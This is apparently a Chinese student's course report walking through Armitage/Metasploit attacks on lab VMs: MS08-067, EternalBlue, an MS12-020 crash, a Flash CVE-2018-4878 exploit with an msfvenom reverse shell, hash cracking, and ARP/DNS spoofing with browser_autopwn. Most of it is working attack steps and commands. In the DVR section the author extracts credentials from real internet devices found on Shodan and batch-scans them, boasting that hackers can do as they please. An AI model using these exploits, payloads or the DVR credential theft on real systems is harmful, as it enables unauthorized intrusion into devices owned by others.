10.211.55.10
)10.211.55.14
)10.211.55.16
)
- Armitage基本介绍:
- Armitage是一款基于Java的Metasploit图形界面化的攻击软件,可以用它结合 Metasploit中已知的exploit来针对主机存在的漏洞自动化攻击。通过命令行的方式使用Metasploit难度较高,需要记忆的命令过多,而Armitage完美的解决了这一问题,用户只需要简单的点击菜单,就可以实现对目标主机的安全测试和攻击。Armitage良好的图形展示界面,使得攻击过程更加直观,用户体验更好。因其操作的简单性,尤其适合Metasploit初学者对目标系统进行安全测试和攻击。
Armitage攻击目标主机的的一般方法:
- 目标网络扫描:为了确定目标主机所在网络结构的网络拓扑,为后续目标主机信息搜索和攻击奠定基础。
- 目标主机信息搜集:为了收集目标主机的漏洞信息,根据收集到的漏洞信息可以利用Armitage在Metasploit中自动搜索合适的攻击模块。
- 目标主机攻击模块搜索:主要方法是依据发现的漏洞信息寻找可以突破目标系统的现有漏洞利用模块,为具体的攻击方案制定提供尽可能多的可靠支撑。
ms08_067漏洞介绍:
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
CVE ID:CVE-2008-4250
原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call 远程过程调用)请求,通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize()
函数时触发,NetPathCanonicalize()
函数在远程访问其他主机时,会调用NetpwPathCanonicalize()
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize()
函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
危害:攻击者能远程主动发起对漏洞主机端口的扫描,并且能直接获得漏洞主机的系统权限,属于最高严重级别的漏洞。
10.211.55.16
主机右键可以发现多了Attack
菜单。依次选择Attack
->smb
->ms08_067_netapi
菜单,选择smb漏洞下的ms08_067漏洞对XP靶机进行攻击(也可以在Armitage左侧树型目录下依次选择exploit
->windows
->smb
->ms08_067_netapi
找到该漏洞):Targets
处配置靶机的系统(一般默认自动检测靶机系统),勾选Use a reverse connection
,点击Launch
开始攻击:Meterpreter 1
->Interact
->Command Shell
,输入dir
命令查看靶机C:\WINDOWS\system32
目录下的系统文件:在攻击成功的靶机上右键选择Meterpreter 1
->Interact
->Meterpreter Shell
,输入getuid
命令查看靶机当前用户的权限是SYSTEM权限:
攻击完成(⁎⁍̴̛ᴗ⁍̴̛⁎):
ms14_064_ole_code_execution漏洞简介:
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.
CVE ID:CVE-2014-6352
原理及危害:OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术。Microsoft Windows在OLE组件的实现上存在安全漏洞,未经身份验证的远程攻击者可利用此漏洞执行远程代码。此漏洞源于没有正确处理含有OLE对象的Office文件。
exploit
->windows
->browser
->ms14\_064\_ole\_code\_execution
找到该漏洞并双击打开配置界面开始配置。注意!此处需要把AllowPowershellPrompt
置为1!!然后配置好LHOST/RHOST、LPORT/RPORT等信息(把LPORT改成学号,其余均取默认值),Targets
处配置靶机的系统Windows XP,点击Launch
开始攻击:http://10.211.55.10:8080/0KO2YrGZdZ1viW/SrEsdO/
并回车,在靶机看来似乎并没有发生什么!然而此时Armitage中靶机的图标已发生明显变化,表明Kali攻击机已攻击成功!!Meterpreter 1
,发现除了上个攻击实践中查看Command Shell
和Meterpreter Shell
功能之外,还具有查看浏览器文件、进程、截屏等功能!
ms17_010_eternalblue漏洞介绍:
This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.
EternalBlue是2017年席卷全球的WannaCry勒索病毒的罪魁祸首,是微软近些年来最为严重的远程代码执行漏洞,可以直接获得系统权限。百度上EternalBlue一般指去年爆发的WannaCry,实际上是该勒索病毒软件利用了NSA泄露的危险漏洞EternalBlue进行传播。关于WannaCry详见WannaCry - 百度百科以及我去年写的博客应对WannaCry勒索危机之关闭445端口等危险端口——以本人Windows7系统为例~
CVE ID:CVE-2017-0143
Hosts
->Nmap Scan
->Quick Scan(OS detect)
并填写靶机所在网段10.211.55.0/24
搜索存活的主机:10.211.55.16
)一台win7(IP为10.211.55.14
):Attacks
->Find Attacks
,Armitage会开始自动搜索靶机寻找合适的攻击模块,对于win7右键依次选择Attack
->smb
,可以发现Armitage提供了5个可供攻击的smb漏洞,选择check exploits
检查这些漏洞是否能被攻击:ipass_pipe_exec
没有检测结果不知道能否进行攻击之外其他4个全部阵亡,要么不可利用(not exploitable)要么检测不出来(not support check):exploit
->windows
->smb
->ms17_010_eternalblue
找到传说中的eternalblue永恒之蓝并双击打开配置界面,相关配置均用默认值即可:Launch
开始攻击win7:Use a reverse connection
,点击Launch
开始攻击:不过另一台靶机就没那么给面子了,可能由于eternalblue只能攻击Windows 7和Windows server 2008,攻击xp时会显示操作系统不匹配攻击不成功(._.)
Adobe Flash CVE-2018-4878漏洞介绍:
2018年2月1日,Adobe官方发布了Adobe Flash Player系列产品的安全通告(APSA18-01),一个最新的Adobe Flash 0day漏洞被发现针对韩国地区的人员发起攻击,该0day漏洞编号为CVE-2018-4878,目前最新版本28.0.0.137及其以前版本的Adobe Flash Player均受漏洞影响。直到2月5日,Adboe才发布补丁来修复此0day漏洞。
攻击者通过构造特殊的Flash链接,并将恶意Flash链接嵌入Office文档、网页或者桌面应用,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。
受影响系统版本:
产品 | 版本 | 平台 |
---|---|---|
Adobe Flash Player桌面运行时 | 28.0.0.137和更早版本 | Windows,Macintosh |
适用于Google Chrome的Adobe Flash Player | 28.0.0.137和更早版本 | Windows,Macintosh,Linux和Chrome操作系统 |
适用于Microsoft Edge和Internet Explorer 11的Adobe Flash Player | 28.0.0.137和更早版本 | Windows 10和8.1 |
Adobe Flash Player桌面运行时 | 28.0.0.137和更早版本 | Linux |
下载并解压CVE-2018-4878-master.zip
,输入命令:
unzip CVE-2018-4878-master.zip
用msfvenom生成shellcode,注意IP地址应为Kali的IP,输入命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 -f python > code.txt
查看代码文件,输入命令:
cat code.txt
进入CVE-2018-4878-master.zip
的解压目录,编辑cve-2018-4878.py
文件,输入命令:
vim cve-2018-4878.py
将下面红色标出的部分用刚才生成的shellcode替换:
然后修改swf文件和html文件路径为自己的路径并保存退出:
用python执行脚本文件生成exploit.swf
和exploit.html
,输入命令:
python cve-2018-4878-master.py
启动Apache服务,输入命令:
service apache2 start
可以用netstat
命令查看Apache服务是否开启:
service apache2 status
Apache服务成功开启后,将之前生成的cp exploit.swf
和exploit.html
复制到apache2服务的网页目录下,输入命令:
cp exploit.swf /var/www/html/exploit.swf
cp exploit.html /var/www/html/exploit.html
至此,攻击环境基本配置完成,现在只要受害者访问我们的链接就可以直接被远程控制!
CVE-2018-9995漏洞介绍:
2018年5月1日,一名阿根廷安全研究人员Ezequiel Fernandez发布了一款功能强大的新型黑客工具,可以轻松地提取各种数字视频录像机(DVR)品牌的明文凭证,并授予攻击者访问这些系统的权限,本质上来说就是允许用户随意查看DVR录制的视频记录。
该工具名为“getDVR_Credentials”,是CVE-2018-9995的概念验证(proof-of-concept,简称PoC),而CVE-2018-9995是Fernandez于上月初发现的一个安全漏洞。
GNU rsp/1.0
(还可以使用zoomeye,fofa,google等搜索引擎搜索设备,这里我就未做其他尝试了):使用curl命令获取该MDVR设备的登录密码(条件是存在device.rsp
页面并可访问),这简直是一条万能的命令啊:
curl "http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"
输入任一组用户名和密码之后就能登录DVR设备了>_<可以说非常易行且致命>_<由于某些原因这里就不再上图啦>_<
Kali攻击机打开终端,依次输入以下命令进行安装配置:
git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git
cd CVE-2018-9995_dvr_credentials
pip install -r requirements.txt
一切准备就绪,开始攻击!!!输入以下命令:
python getDVR_Credentials.py --host HOST --p PORT
--p PORT
不指出也行喔!
emmmm成功啦,可以看出这台XVR设备存在弱口令漏洞,密码竟然为空666666再黑进一波,溜了~
vim CVE-2018-9995_check.py
新建CVE-2018-9995_check.py
;这里我们直接拿来hzkey大佬的脚本,该脚本用来批量检测我们输入送检的DVR系列设备是否存在login.rsp
页面,输入以下代码然后保存并退出:
import tableprint as tp
import sys
import requests
import re
class Colors:
GREEN = '\033[32m'
RED = '\033[0;31m'
BLUE = '\033[*]'
ORANGE = '\033[33m'
def check_host(host):
try:
print(Colors.ORANGE+"Checking : %s"%host)
url = 'http://' + host+'/login.rsp'
rr= requests.get(url,timeout=30,allow_redirects=False)
if rr.status_code == 200 and re.findall("GNU rsp/1.0", rr.headers["Server"]):
print(Colors.GREEN+"[*] CVE-2018-9995 Detection :Url is %s"%url)
ff=open('result.txt','a+')
ff.write('%s\n'%(url))
except:
pass
if __name__ == '__main__':
if len(sys.argv) < 2:
print(Colors.BLUE+"""Usage: Python3 CVE-2018-9995.py host.txt
host.txt:127.0.0.1:8080 or www.baidu.com
""")
if len(sys.argv) >= 2:
file = open(sys.argv[1])
for i in file:
i = i.strip()
check_host(i)
file.close()
vim host.txt
新建host.txt
,内容可以为shodan等搜索引擎上搜到的设备的IP:PORT
(可以不写端口)或者域名的形式;输入以下命令:
python CVE-2018-9995_check.py host.txt
脚本运行后对使用了DVR系列摄像头的host会保存到result.txt
文件里:
啧啧啧shodan第一页上10台DVR系列的设备竟然有9台存在漏洞!抱歉我们Hacker就是可以为所欲为!!!
Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等。这些模块可以分为Admin、Scanner、Server三个大类。
端口 | 协议或服务 | 模块名 | 路径 | 功能 |
---|---|---|---|---|
信息收集 | psnuffle | auxiliary/sniffer/psnuffle | 嗅探抓包 | |
dir_scanner | auxiliary/scanner/http/dir_scanner | 扫描网站目录 | ||
search_email_collector | auxiliary/gather/search_email_collector | 搜索网站中的E-mail | ||
服务扫描及利用 | syn | auxiliary/scanner/portscan/syn | SYN端口扫描 | |
tcp | auxiliary/scanner/portscan/tcp | TCP端口扫描 | ||
xmas | auxiliary/scanner/portscan/xmas | TCP "XMas"端口扫描 | ||
ack | auxiliary/scanner/portscan/ack | ACK防火墙扫描 | ||
arp_sweep | auxiliary/scanner/discovery/arp_sweep | 探测网段中存活主机 | ||
21 | FTP | ftp_version | auxiliary/scanner/ftp/ftp_version | FTP主机扫描 |
anonymos | auxiliary/scanner/ftp/anonymos | FTP匿名登录 | ||
22 | SSH | ssh_version | auxiliary/scanner/ssh/ssh_version | SSH服务扫描 |
ssh_login | auxiliary/scanner/ssh/ssh_login | SSH口令猜测 | ||
23 | Telnet | telnet_version | auxiliary/scanner/telnet/telnet_version | Telnet服务扫描 |
telnet_login | auxiliary/scanner/telnet/telnet_login | Telnet口令猜测 | ||
25 | SMTP | smtp_version | auxiliary/scanner/smtp/smtp_version | SMTP版本扫描 |
smtp_enum | auxiliary/scanner/smtp/smtp_enum | SMTP枚举 | ||
69 | TFTP | tftpbrute | auxiliary/scanner/tftp/tftpbrute | FTP文件扫描 |
anonymous | auxiliary/scanner/ftp/anonymous | FTP匿名登录 | ||
139、445 | SMB | smb_version | auxiliary/scanner/smb/smb_version | 扫描操作系统版本 |
smb_lookupsid | auxiliary/scanner/smb/smb_lookupsid | 扫描组的用户 | ||
smb_login | auxiliary/scanner/smb/smb_login | 用于登录 | ||
smb_enumusers | auxiliary/scanner/smb/smb_enumusers | 枚举系统上的用户 | ||
161 | SNMP | snmp_enum | auxiliary/scanner/snmp/snmp_enum | 批量检测SNMP |
snmp_login | auxiliary/scanner/snmp/snmp_login | 扫描SNMP主机 | ||
1521 | oracle | tnslsnr_version | auxiliary/scanner/oracle/tnslsnr_version | oracle服务扫描 |
1433 | mssql | mssql_ping | auxiliary/scanner/mssql/mssql_ping | 扫描开放mssql主机 |
3306 | mysql | mysql_login | auxiliary/scanner/mysql/mysql_login | mysql口令猜测 |
5432 | postgres | postgres_login | auxiliary/scanner/postgres/postgres_login | postgres口令猜测 |
8080 | tomcat | tomcat_mgr_login | auxiliary/scanner/http/tomcat_mgr_login | tomcat口令猜测 |
jtr_linux密码破解模块简介:
This module uses John the Ripper to identify weak passwords that have been acquired from unshadowed passwd files from Unix systems. The module will only crack MD5 and DES implementations by default. Set Crypt to true to also try to crack Blowfish and SHA implementations. Warning: This is much slower.
John the Ripper简介:
The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.
分别将不同用户名对应的密码经过MD5在线加密之后得到Hash值,获得下面这张表:
用户名 | 密码 | Hash |
---|---|---|
admin | admin | 21232f297a57a5a743894a0e4a801fc3 |
user | user | ee11cbb19052e40b07aac0ca060c23ee |
Tom | password | 5f4dcc3b5aa765d61d8327deb882cf99 |
jtr_linux | abc123 | e99a18c428cb38d5f260853678922e03 |
20155314 | qwertyu123. | 682e9cfe26d949a10009cfc9969076ad |
[email protected] | kxjsjc_wx_1553 | d80b3f4f2517d9a3ecf2a1e8031f6ff1 |
hashes.txt
的文本文件,把表中信息添加进去,每行包含一个用户名和一个Hash,以:
分隔(username:hash
):auxiliary
->analyze
->jtr_linux
并双击打开开始配置,配置好JOHN_PATH然后点Launch
:show options
命令还可以查看模块的有效选项及其详细描述:hashes.txt
而报错:(john --wordlist=/tmp/jtrtmp20180502-5917-ctqwpk --format=raw-md5 hashes.txt
至于剩下的两个,可能是我把密码设置得太复杂的原因吧一直没破解出来(ー ー;)将--wordlist
选项去掉采用暴力破解的方式也一直没跑出来(ー ー;)时间原因跑了不到10分钟就被我掐掉了感觉速度还是比彩虹表要慢很多啊(ー ー;)
MS12-020 Microsoft Remote Desktop Use-After-Free Denial of Service模块简介:
This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.
UAF(Use-After-Free)释放重引用漏洞简介:
Use-After-Free是一种内存破坏漏洞,成因是一块堆内存被释放了之后又被使用(指针存在)。这个引用的结果是不可预测的。
举例:假设一个对象A前4字节(0x400000)为函数printf,释放后,恶意用户重用这个空间,将前4字节改为(0x4a0000)system函数,然后来到漏洞的触发点,程序由于疏忽再次调用A的printf,却调用了system函数。
MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。
CVE ID:CVE-2012-0152
原理:使用了CVE-2012-0152远程桌面协议RDP拒绝访问漏洞。远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化的或已经删除的对象,导致任意代码执行,然后控制系统。
危害:若存在该漏洞,其最严重的情况可能会造成被攻击系统被远程执行任意代码,而通常情况下会造成对方蓝屏或重启。
Kali攻击机打开Armitage,在上方工具栏中依次选择Hosts
->Nmap Scan
->Quick Scan(OS detect)
,填写靶机所在网段10.211.55.0/24
,然后选中靶机10.211.55.14
,右键选择Services
,查看靶机上开启的服务:
可见靶机已经开启了3389远程服务,那么接下来我们利用Armitage中MS12-020这个RDP拒绝访问漏洞辅助模块来进行攻击!
在Armitage左侧树型目录下依次选择auxiliary
->dos
->windows
>rdp
>ms12_020_maxchannelids
(也可直接在下方搜索栏输入关键字搜索,更快)并双击打开配置,发现RHOST和RPORT已经被默认设置为靶机的配置,我们直接点击Launch
即可进行攻击:
Armitage这边显示靶机的RDP协议seems down,一看靶机那边瞬间蓝屏( ̀⌄ ́)哦哟攻击成功!!!
我们的口号是——蓝屏的*,好喝的*!(广告莫名植入)
同时,我们可以从蓝屏信息中看出这次蓝屏是由于RPDWD.SYS
引起的内存地址异常(0x00000050),有分析称出现漏洞的罪魁祸首是该文件中的HandleAttachUserReq()
函数。
随后win7靶机自动重启,然后弹窗提示刚刚异常关机了(废话不异常才怪呢嘿嘿嘿):
我们还可以将Exp7中用到的setoolkit和Armitage配合使用进行社会工程学攻击,实现靶机自动上线并获取靶机Administer账户登录密码!
Ophcrack工具介绍:
Ophcrack是一款利用彩虹表来破解Windows密码的图形界面化工具。
彩虹表(Rainbow Table)是一种破解Hash算法(找到碰撞)的技术,将暴力破解和字典两种常用的攻击方法结合起来,用一个大型数据字典来进行快速匹配暴力破解,以空间换时间,破解效率大幅度提高。
LM(LanManager)是Windows古老而脆弱的密码加密方式。任何大于7位的密码都被分成以7为单位的几个部分,最后不足7位的密码以0补足7位,然后通过加密运算最终组合成一个hash。所以实际上通过破解软件分解后,LM密码破解的上限就是7位,这使得以今天的PC运算速度在短时间内暴力破解LM加密的密码成为可能(上限是两周),如果使用彩虹表,那么这个时间数量级可能被下降到小时。
和Armitage类似,我们可以通过菜单栏05-Password文件夹下找到Ophcrack的图标直接打开她:
首先,我们需要从官网下载Ophcrack提供的彩虹表文件。Ophcrack官网提供的彩虹表有XP和Vista两个版本:
XP版本提供了四个免费的彩虹表:XP free small (380MB)
、XP free fast (703MB)
、XP special (7.5GB)
和XP german (7.4GB)
:
选择最小的那个查看介绍学习一波:
XP free small (380MB)
标识:SSTIC04-10k
破解成功率: 99.9%
字母数字表:123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
该表有大小写字母加数字生成,大小为380MB,包含所有字母数字混合密码中99.9%的LanManager表。这些都是用大小写字母和数字组成的密码(大约800亿组合)。
由于LanManager哈希表将密码截成每份7个字符的两份,我们就可以用该表破解长度在1到14之间的密码。由于LanManager哈希表也是不区分大小写的,该表中的800亿的组合就相当于(12*10)^11(或者2^83)个密码,因此也被称为“字母数字表10K”。
Vista版本的彩虹表有Vista free (461MB)
、Vista proba free (581MB)
、Vista special (8.0GB)
和Vista num (3.0GB)
:
由于这里测试的是win7的密码而且是简单密码,我们下载Vista版本的Vista proba free(581MB)
即可:
我们还可以看出彩虹表大小大致和字符集、能够破解密码长度有关,设置的字符集越复杂、能破解的长度越长彩虹表的体积就越庞大(我们密码技术竞赛用到的彩虹表超过500G)!
下载完之后,我们打开Ophcrack工具,点击上方工具栏的Tables
:
点击右下角的Install
:
选择我们下载的彩虹表文件(解压之后得到的文件夹):
此时对应的彩虹表项会变绿表示可用,点击OK
返回:
在上方工具栏依次选择Load
->Single hash
:
把我们刚才dump到的Hash值复制过来,点击OK
进行破解:
秒破解!显示win7靶机的开机密码为空(其实根本就没设置233)!
没意思?那我们来给Administrator设个密码试试!
又回到熟悉的操作啦>_<
重新登录一下(密码就不告诉你),然后用payload.exe
回连:
Armitage这边回连成功后使用hashdump:
将最后这一串复制到Ophcrack中,点击工具栏中的Crack
开始破解:
可以看到已经开始加载彩虹表进行破解,下方记录了进度和所用时间:
最后Ophcrack只用2分19秒就把win7靶机这个字母数字混合的密码给破解出来了!可以看出彩虹表的性能还是非常惊人的>_<
Bettercap工具介绍:
Bettercap是一个比Exp7中用到的ettercap更先进、好用的也是目前我们能获取到的功能最完备的一个中间人攻击框架。虽然Bettercap没有GUI界面,但是它仍然很好上手,使用起来特别便利。使用者只需要根据帮助文档将一个个命令组合起来就可以使用其各种强大的功能。
使用Bettercap时我们并不需要像使用ettercap一样先行扫描局域网内的主机,Bettercap会帮我们自动完成扫描主机的任务,并且可以实时发现网络中新接入的设备。如果你想手动指定攻击目标,Bettercap允许我们通过命令来关闭自动发现设备的功能并且手动指定要攻击的单个目标或是部分网段/整个网段。
中间人攻击原理:
DNS欺骗是一种中间人攻击形式,具体可以参考我的Exp7博客:2017-2018-2 20155314《网络对抗技术》Exp7 网络欺诈防范
dnsspoof原理:
dnsspoof启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果是反向IP指针解析,dnsspoof也会返回一个伪造的域名。
Armitage browser_autopwn模块简介:
This module has three actions. The first (and the default) is 'WebServer' which uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them. Next is 'DefangedDetection' which does only the fingerprinting part. Lastly, 'list' simply prints the names of all exploit modules that would be used by the WebServer action given the current MATCH and EXCLUDE options. Also adds a 'list' command which is the same as running with ACTION=list.
Kali下并没有集成Bettercap,我们需要自己安装(不大,才4M左右),终端中输入命令:
sudo apt-get install bettercap
新建一个名为test.hosts
的hosts文件用于DNS欺骗,输入命令:
vim test.hosts
内容如下,IP为Kali攻击机的IP(别忘了后面的*
):
开启Apache服务:
service apache2 start
进入Apache根目录/var/www/html
,输入命令:
cd /var/www/html
新建index.php
,并输入以下代码然后保存退出:
<?php
header("Location:http://10.211.55.10:8088");
?>
这样在DNS欺骗后会跳到指定IP(Kali攻击机IP),然后在通过php重定向到我们的payload。
在Armitage左侧树型目录下依次选择auxiliary
->server
->browser_autopwn
并双击打开配置,直接用默认设置即可,点击Launch
:
老规矩会进行一系列自动化配置:
等待所有payload加载完成,一共20个:
我们打开一个新的终端窗口,输入命令bettercap
开启bettercap:
可以用bettercap -h
命令查看帮助文档:
与老版本不同,新版(v2.0以后)的bettercap需要用-autostart
参数来加载相应模块!
攻击前,靶机用arp -a
命令查看arp缓存表:
开始arp欺骗攻击,输入命令:
bettercap -autostart arp.spoof,net.sniff on
我们可以在靶机中看到她已被成功欺骗>_<把Kali攻击机当成网关啦>_<
Kali这边开始用dnsspoof进行DNS欺骗,输入命令:
dnsspoof -f /root/test.hosts
现在同一网关下的靶机不管打开什么URL都会解析到我们的URL中!
/etc/init.d/postgresql start
命令启动postgresql服务,重启Armitage即可:Armitage是图形化的Metasploit,其操作围绕着msfconsole展开,通过标签管理各种程序和各类资讯,可以同时处理多个msfconsole或session,大大降低了Metasploit操作的复杂度。从安全人员的角度来说,全自动化的Armitage非常有助于管理员对主机的漏洞测试。
本次免考实践时间跨度极大,从最初接触Armitage有各种想法到挨个落实再到后期不断打磨直至最终定稿,前前后后竟有两个月之久!一路走来,正像刘老师说的那样,“开心就好”,是的我做到了,整个实践期间我真的非常开心,真的完全是靠兴趣坚持下来的。很多人总是看我趴在电脑前就来问了,都快考完放假了健哥你咋还在做lyd的实验,我说你不懂,这是我最快乐的时光。漏洞令人沉醉,一个漏洞的复现可以让我错过饭点、可以点灯刷夜,但绝不可以不把她写进我的博客中!毕竟,为了这一份小小的成就感,为了这一点小小的快乐,值^_^
虽然Hacker为所欲为,但想要真正成功实施一次入侵还是非常困难的,受到诸多不可控复杂因素限制,还要考虑清除入侵痕迹。在自己搭的环境中实践成不成功有时还(shui)得(ping)看(tai)脸(ci),更何况在未知环境中实际应用!还记得第一次漏洞攻击实验,从周三开始装各种虚拟机挨个找漏洞一直弄到周六才难得成功第一次攻击。在做第一个ms08_067漏洞攻击时,首先是靶机操作系统的选择上,由于第一个经常使用的win7虚拟机已在清明假期被我用腾讯电脑管家打好了补丁很可能没办法实施攻击,因此我先拿PKI实验课上装的没有任何安全防护的win7客户机做试验,发现不行,那就换xp试试呗!然后我便用硬盘里珍藏多年的xp professional镜像安装了一个xp虚拟机,兴高采烈地配置好Armitage,一攻击发现还是不行!!最后问了很多大佬才知道用英文版的xp可以成功,但这我还是攻击了好几次的结果……而“永恒之蓝”的攻击更是连xp都不行而只能用PKI的win7虚拟机才能完成……总的来说,漏洞攻击因“机”而异,寻找漏洞更是完全取决于Hacker的眼力和本领。网络攻防其实就是“找漏洞”和“堵漏洞”之间的较量,而所谓“道高一尺魔高一丈”,漏洞攻击更具有先手优势,未知的敌人永远在未知的暗处对你发起未知的攻击。如今,在安全技术已经比较成熟的几大主流操作系统又在各种知名杀软的保护加持之下,往往被用户认为相对“安全”,但一个新漏洞的发现往往能引起轩然大波,拿到“黑市”中去卖能一夜暴富;更有甚者如去年不法分子利用NSA武器库泄漏的危险漏洞“永恒之蓝”制作出一款蠕虫式勒索病毒软件WannaCry并借助网络大范围传播,锁定被感染用户的系统、加密全部数据并向直接其索取高额比特币,导致一场全球性互联网灾难!
给我们的启示在于,打补丁的方式虽然可以防范漏洞攻击,但这毕竟是被动的,是在攻击发生之后采取的行为。首先从源头上来说,操作系统研发者就不应该让这些攻击成为可能,但无奈地球上毕竟不存在完美的程序猿,写代码时难免会产生bug。从安全人员的角度来看,要保护一个系统,必须主动一点,像Hacker那样并抢在Hacker之前对当前系统可能存在的所有漏洞进行检测,把漏洞堵起来,不安全的因素找出来,各种安全屏障立起来,让Hacker无机可乘!
最后还是要感谢一下一路陪我走来的Mac,他的性能足够强劲以至于让我能同时开3个虚拟机做渗透测试(>_<)辛苦啦(>_<)
最后的最后感谢一下lyd老师(>_<)此处略去n字节(>_<)